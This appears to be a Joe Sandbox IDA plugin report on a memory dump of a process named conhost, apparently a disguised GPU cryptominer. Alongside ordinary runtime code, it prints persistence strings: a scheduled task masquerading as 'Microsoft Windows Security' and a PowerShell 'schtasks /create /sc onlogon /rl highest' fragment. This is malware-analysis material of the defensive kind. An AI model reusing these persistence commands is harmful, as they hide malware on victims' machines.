Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: memsetwcsncmp
String ID: \BaseNamedObjects\vljmdnomkxppwbqz$eth
API String ID: 1181335886-3208800472
Opcode ID: 0b5ccc7bbee36a88c8147fb3cb6218f60deec08863c1a95231d2b2b3d10a26d2
Instruction ID: 48058956792af978a5745fcfb275f6adf24b4df2b2100bb930474b874f8b8a24
Opcode Fuzzy Hash: 0b5ccc7bbee36a88c8147fb3cb6218f60deec08863c1a95231d2b2b3d10a26d2
Instruction Fuzzy Hash: 3A01E922B1C64241E620B65AE8007EAE651AF967D1F944231FFCD07BC9CE7CD147C718

Function 00007FF7B89A2A50 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7B89A2A7C

Strings

eth, xrefs: 00007FF7B89A2A50
0, xrefs: 00007FF7B89A2AA8

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: wcslen
String ID: 0$eth
API String ID: 4088430540-242559905
Opcode ID: fefd0b51354c9b27353387df6e592b595b78b00b7a1f0cb1ba5a9e03abdbd47d
Instruction ID: cb032151ab38987d13a8f72683539b9f2d70449af048a03dca4596cfee9e8f03
Opcode Fuzzy Hash: fefd0b51354c9b27353387df6e592b595b78b00b7a1f0cb1ba5a9e03abdbd47d
Instruction Fuzzy Hash: 4701D62261869181EB119B54F85079BE760EFC4368FA40335FB9C0BAD9DB3EC5868740

Non-executed Functions

Function 00007FF7B89A1EA0 Relevance: 37.2, APIs: 9, Strings: 12, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF7B89A1F2B
wcslen.MSVCRT ref: 00007FF7B89A2090
memcpy.MSVCRT ref: 00007FF7B89A20AF
memcpy.MSVCRT ref: 00007FF7B89A20D0
wcslen.MSVCRT ref: 00007FF7B89A2343

Strings

ProviderName, xrefs: 00007FF7B89A2437
@, xrefs: 00007FF7B89A2489
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\, xrefs: 00007FF7B89A1EE9
ProviderName, xrefs: 00007FF7B89A233C
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\, xrefs: 00007FF7B89A20A1
$0', xrefs: 00007FF7B89A26AC
APPDATA=, xrefs: 00007FF7B89A1EA6
AMD, xrefs: 00007FF7B89A270C
ATI, xrefs: 00007FF7B89A2792
NVIDIA, xrefs: 00007FF7B89A2686
Advanced Micro Devices, xrefs: 00007FF7B89A28FC
0, xrefs: 00007FF7B89A255C

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: memcpy$wcslen
String ID: $0'$0$@$AMD$APPDATA=$ATI$Advanced Micro Devices$NVIDIA$ProviderName$ProviderName$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\
API String ID: 1844840824-1300809496
Opcode ID: 5b5f1375f3de931362796e278fad743eef0130830d29893e114e696d61781ae2
Instruction ID: c4e8bb1fcba03698f2c9dc95215dcdbf2564759e560c6e022d556f4f5f1b53b3
Opcode Fuzzy Hash: 5b5f1375f3de931362796e278fad743eef0130830d29893e114e696d61781ae2
Instruction Fuzzy Hash: 0E527314C2C68355FF12A72DE8113F5E760AFA2386F845331DB8815669EF3EA1469B2C

Function 00007FF7B89AEE40 Relevance: 31.7, APIs: 21, Instructions: 232
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF7B89AEE5B
memcpy.MSVCRT ref: 00007FF7B89AEE7B
malloc.MSVCRT ref: 00007FF7B89AEE95
memset.MSVCRT ref: 00007FF7B89AEEBF
abort.MSVCRT ref: 00007FF7B89AEED2
CreateSemaphoreW.KERNEL32 ref: 00007FF7B89AEEFB
TlsAlloc.KERNEL32 ref: 00007FF7B89AEF08
GetLastError.KERNEL32 ref: 00007FF7B89AEF30
abort.MSVCRT ref: 00007FF7B89AEF38

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: abortmalloc$AllocCreateErrorLastSemaphorememcpymemset
String ID:
API String ID: 342303811-0
Opcode ID: b2416a83bffa5fc6a8860ff2eb45399a5a421c851ee01e0b810f98d5426b795e
Instruction ID: cf1d20e8e9cb568e308fc85fdf83f3dd288054aa27180d6cee2b4715b4a06f5d
Opcode Fuzzy Hash: b2416a83bffa5fc6a8860ff2eb45399a5a421c851ee01e0b810f98d5426b795e
Instruction Fuzzy Hash: 2991A021E09A4381FE15BB29E800679E2A1AF66B86FD44534DB4D0B398DF3DE443C768

Function 00007FF7B89B76F0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 102
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00007FF7B89B77EC

Part of subcall function 00007FF7B89AD100: strlen.MSVCRT ref: 00007FF7B89AD185
Part of subcall function 00007FF7B89AD100: memcpy.MSVCRT ref: 00007FF7B89AD19E
Part of subcall function 00007FF7B89AD100: free.MSVCRT ref: 00007FF7B89AD1A9

fwrite.MSVCRT ref: 00007FF7B89B7768
fputs.MSVCRT ref: 00007FF7B89B7782
fwrite.MSVCRT ref: 00007FF7B89B77A3
free.MSVCRT ref: 00007FF7B89B77B3
fputs.MSVCRT ref: 00007FF7B89B77C5
abort.MSVCRT ref: 00007FF7B89B77F1
fwrite.MSVCRT ref: 00007FF7B89B7816
abort.MSVCRT ref: 00007FF7B89B781B
fwrite.MSVCRT ref: 00007FF7B89B7856
fputs.MSVCRT ref: 00007FF7B89B7868
fputc.MSVCRT ref: 00007FF7B89B787C

Strings

terminate called recursively, xrefs: 00007FF7B89B780C
what(): , xrefs: 00007FF7B89B784F
terminate called without an active exception, xrefs: 00007FF7B89B77E2
terminate called after throwing an instance of ', xrefs: 00007FF7B89B775E

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fwrite$fputs$abortfree$fputcmemcpystrlen
String ID: what(): $terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 802779101-808685626
Opcode ID: ceb530bee48f6c0e02abd5d77287cb5c52b4f910e624d328fc38845c7a1d0db6
Instruction ID: b7bcb7038e79716f138ab9852e64a108ff733288fec43d05bc251274f24b4bb4
Opcode Fuzzy Hash: ceb530bee48f6c0e02abd5d77287cb5c52b4f910e624d328fc38845c7a1d0db6
Instruction Fuzzy Hash: 86418F10B1A11786FE10B769E8157B9DA419FABB86FC04139FA0E477CADD2CE5038739

Function 00007FF7B89AE8F0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RaiseException.KERNEL32 ref: 00007FF7B89AE9BE
abort.MSVCRT(?,?,?,?,?,?,00000060,?,?,?,00000000,%S /run /tn "Microsoft Windows Security",00007FF7B89B8575), ref: 00007FF7B89AE9C4
RtlUnwindEx.KERNEL32 ref: 00007FF7B89AEADD

Strings

CCG!, xrefs: 00007FF7B89AE91A
CCG!, xrefs: 00007FF7B89AE9B1
CCG", xrefs: 00007FF7B89AE929
CCG , xrefs: 00007FF7B89AE957
%S /run /tn "Microsoft Windows Security", xrefs: 00007FF7B89AE8F0

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: %S /run /tn "Microsoft Windows Security"$CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-965913644
Opcode ID: 72dddc97bb5a61e6f85c6fa6847e3cc55db4e4a0c1a494ea6ad14c540d0c7db8
Instruction ID: a3c6ec6da5c1aefbdf558f70fa1a067590d34e66ff6c6ad1e2b689279859392c
Opcode Fuzzy Hash: 72dddc97bb5a61e6f85c6fa6847e3cc55db4e4a0c1a494ea6ad14c540d0c7db8
Instruction Fuzzy Hash: 2F51B032A08B8282EB60DB59E4446ADF360F79AB95F904236EFCD17758DF39D582C704

Function 00007FF7B89AC2E0 Relevance: 15.3, APIs: 4, Strings: 6, Instructions: 346
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncmp.MSVCRT ref: 00007FF7B89AC324
strlen.MSVCRT ref: 00007FF7B89AC42E

Strings

_GLOBAL_, xrefs: 00007FF7B89AC31D
_, xrefs: 00007FF7B89AC379
Z, xrefs: 00007FF7B89AC387
_, xrefs: 00007FF7B89AC6BC
Z, xrefs: 00007FF7B89AC4F8
_, xrefs: 00007FF7B89AC4EB

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: strlenstrncmp
String ID: Z$Z$_$_$_$_GLOBAL_
API String ID: 1310274236-662103887
Opcode ID: 0fcc65ab773e09d1c95a171ce18abb01d38a9909dba44128c082fc48aaf376b1
Instruction ID: 871d926ac672e424f893af392dd3ee1b64119fa20fa62b36c19575f5bb6a866f
Opcode Fuzzy Hash: 0fcc65ab773e09d1c95a171ce18abb01d38a9909dba44128c082fc48aaf376b1
Instruction Fuzzy Hash: DAE1C372A0868389EB209F3984043FDBBE1AB2675DF844131DBAC1F799DF3C95429764

Function 00007FF7B89ADB76 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

signal.MSVCRT ref: 00007FF7B89ADBDD
signal.MSVCRT ref: 00007FF7B89ADC29
signal.MSVCRT ref: 00007FF7B89ADC42
signal.MSVCRT ref: 00007FF7B89ADD4A

Strings

CCG , xrefs: 00007FF7B89ADB95

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 622aaefb939983e8cfa3c03c2c8c57c18b3dbb29334c475367122cbf61766b0c
Instruction ID: c28d8369e8a291c8a151793af41d4c4e7945510e8b090018bafaec277541680e
Opcode Fuzzy Hash: 622aaefb939983e8cfa3c03c2c8c57c18b3dbb29334c475367122cbf61766b0c
Instruction Fuzzy Hash: 85416210E5810345FF79316C4854378C1A15FABBA6FD84A35D7AE8B3E9CDBDB8824129

Function 00007FF7B89AD540 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 184COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF7B89AD65B

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7B89AD77C
Address %p has no image-section, xrefs: 00007FF7B89AD5B5, 00007FF7B89AD792
Mingw-w64 runtime failure:, xrefs: 00007FF7B89AD577
VirtualProtect failed with code 0x%x, xrefs: 00007FF7B89AD732

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 654ce188c381b815c7b6b833e69e620537265554bb3c12851122444eed8c47ad
Instruction ID: c6385d4ffb6c74aa2a59152ff042998e466b4736c52d84a0f4c8a1351f8e2698
Opcode Fuzzy Hash: 654ce188c381b815c7b6b833e69e620537265554bb3c12851122444eed8c47ad
Instruction Fuzzy Hash: FA61E872B0965386EF10AF59E840679F7A4BB66B95F844134EF8D07398DE3CE442C718

Function 00007FF7B89B1640 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 111COMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF7B89B178C

Strings

%.*S, xrefs: 00007FF7B89B17AA
%*.*S, xrefs: 00007FF7B89B1785
%-*.*S, xrefs: 00007FF7B89B17BE

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fwprintf
String ID: %*.*S$%-*.*S$%.*S
API String ID: 968622242-2115465065
Opcode ID: 6329df8f87e1defb220bbd85e09ae994a33894e23f7f198cf0174e87fe780c51
Instruction ID: 971ce2b632e3a411b91d1130c60a6d9f3cea295d4eb5f8ec6b2821595b695892
Opcode Fuzzy Hash: 6329df8f87e1defb220bbd85e09ae994a33894e23f7f198cf0174e87fe780c51
Instruction Fuzzy Hash: 1441E563A1824385FF51AA19D4407B8E690AFA2B96F988134FB4D477CDDE3CE4028728

Function 00007FF7B89B18F0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 109COMMON

Download Yara Rule

Strings

%S <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest , xrefs: 00007FF7B89B18F3
%-*.*s, xrefs: 00007FF7B89B1A51
%.*s, xrefs: 00007FF7B89B1A3D
%*.*s, xrefs: 00007FF7B89B1A1A

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s$%S <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest
API String ID: 0-2632607494
Opcode ID: ce82155f069b17e6ff1fedf17130a6fce25f9ce1dd8a985e9d653b1ebc39d665
Instruction ID: 43ee6eafe77ed751d3238b5489c240150387c01e708c42be9fe59595db0092d3
Opcode Fuzzy Hash: ce82155f069b17e6ff1fedf17130a6fce25f9ce1dd8a985e9d653b1ebc39d665
Instruction Fuzzy Hash: 4D41A772A1828785EB606E6DD400778F695EB62B95F94C134EF4D463CDEA6CB4028B34

Function 00007FF7B89A2BA0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7B89A2BC4
wcscpy.MSVCRT ref: 00007FF7B89A2C72
wcscat.MSVCRT ref: 00007FF7B89A2C7D
wcslen.MSVCRT ref: 00007FF7B89A2C8E

Strings

eth, xrefs: 00007FF7B89A2BA2
\??\, xrefs: 00007FF7B89A2C68

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: memsetwcscatwcscpywcslen
String ID: \??\$eth
API String ID: 468205783-1480138707
Opcode ID: f31949c7558e9127311c871981880f2ece800f83b94ef884c3d885029afe51e3
Instruction ID: 0a8361b82f0b4fd6b89b1f9da492dd4771bd35bc29258cc0600b9b17097b5a67
Opcode Fuzzy Hash: f31949c7558e9127311c871981880f2ece800f83b94ef884c3d885029afe51e3
Instruction Fuzzy Hash: D431942191C78384FF11AB39E801375F364BF66789F844235EA8D47799DF3DA0968B28

Function 00007FF7B89AD7B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF7B89C4958,00007FF7B89C4950,00007FF7B89C3E20,00007FFDB240ADA0,?,?,?,00000001,00007FF7B89A124C), ref: 00007FF7B89AD96D

Part of subcall function 00007FF7B89AD5B0: VirtualQuery.KERNEL32 ref: 00007FF7B89AD65B

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF7B89ADB12
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF7B89ADB03
Unknown pseudo relocation bit size %d., xrefs: 00007FF7B89ADAEA

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 1027372294-1286557213
Opcode ID: b82df57671828b0e606e8ee7d4ffc2afcd820c2398f462e0173a7178461af3de
Instruction ID: 5936cead6e30f92ad70c1ba3b8917bae2363fd1404b6ea7644226b7871d8fdaa
Opcode Fuzzy Hash: b82df57671828b0e606e8ee7d4ffc2afcd820c2398f462e0173a7178461af3de
Instruction Fuzzy Hash: 6F91A021F0954385EF20AB2D9400669E361BF67B95F944235DE9D0B7CCDE3DE442CB28

Function 00007FF7B89AD100 Relevance: 6.3, APIs: 5, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7B89AD185
memcpy.MSVCRT ref: 00007FF7B89AD19E
free.MSVCRT ref: 00007FF7B89AD1A9

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 7411ab55849008a007dc6c83d4a2f9a73750c58f95e0d40c170e633452adc814
Instruction ID: 7ad2e7c0eb7cf190c190b5cf2c643ba28720933548f77e617a6ae91efb7a7643
Opcode Fuzzy Hash: 7411ab55849008a007dc6c83d4a2f9a73750c58f95e0d40c170e633452adc814
Instruction Fuzzy Hash: 5D31A722B1964345FD667A196A00279D1506FA2FE6F944131EFDD0FBDCDE3CE5438228

Function 00007FF7B89B6260 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF7B89B62BA
MultiByteToWideChar.KERNEL32 ref: 00007FF7B89B62FA

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: fa114358f9d1c0645f095336089c12bb421f7b72dfbfd9187bbe8f1e91e12f03
Instruction ID: 0ad9d60b04a38b9a0081147b6d0190eb9e655e30ff33c1f6c505e0cb8e2a5c5a
Opcode Fuzzy Hash: fa114358f9d1c0645f095336089c12bb421f7b72dfbfd9187bbe8f1e91e12f03
Instruction Fuzzy Hash: 5231A672A0C28286EB615B29E4003ADF690BBA2755F948135EBC8877D9CF3DE446CB14

